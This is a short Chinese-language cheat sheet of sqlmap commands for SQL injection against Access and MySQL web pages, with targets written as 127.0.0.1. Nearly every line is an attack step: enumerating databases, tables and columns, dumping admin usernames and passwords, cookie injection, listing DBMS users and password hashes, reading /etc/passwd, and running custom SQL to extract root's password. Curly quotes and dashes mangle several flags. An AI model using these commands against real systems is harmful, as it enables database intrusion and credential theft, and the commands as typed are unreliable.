Access:
–爆表 sqlmap.py -u http://127.0.0.1/news.asp?id=7″ –table
–爆字段 sqlmap.py -u “http://127.0.0.1/news.asp?id=7″ –columns -T admin
–爆账号密码 ./sqlmap.py -u “http://127.0.0.1/news.asp?id=7″ –dump -T admin -C username,password
–is-dba 检测DBMS当前用户是否DBA
Mysql:
sqlmap.py -u “http://127.0.0.1/page.php?id=1&cat=2″ -v 1
–指定注入id参数
sqlmap.py -u “http://127.0.0.1/page.php?id=1&cat=2″ -v 1 -p “id”
–cookie注入
sqlmap.py -u “http://127.0.0.1/page.php?id=1″ –cookie”COOKIE_VALUE”
–获取当前数据库 sqlmap.py -u “http://127.0.0.1/page.php?id=1&cat=2″ –current-db
–检索数据库管理系统当前用户 sqlmap.py -u “http://127.0.0.1/page.php?id=1&cat=2″ –current-user
–所有用户 sqlmap.py -u “http://127.0.0.1/page.php?id=1&cat=2″ –users
–所有密码 sqlmap.py -u “http://127.0.0.1/page.php?id=1&cat=2″ –passwords
–所有数据库 sqlmap.py -u “http://127.0.0.1/page.php?id=1&cat=2″ –dbs
–所有表 sqlmap.py -u “http://127.0.0.1/page.php?id=1&cat=2″ –tables -D “information_schema”
–查看adminDB库中的user表 sqlmap.py -u “http://127.0.0.1/page.php?id=1&cat=2″ — columns -T “user” -D “adminDB”
–loadfile sqlmap.py -u “http://127.0.0.1/page.php?id=1&cat=2″ –file /etc/passwd
–自定义sql语句 sqlmap.py -u “http://127.0.0.1/page.php?id=1&cat=2″ -v 1 -e “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1″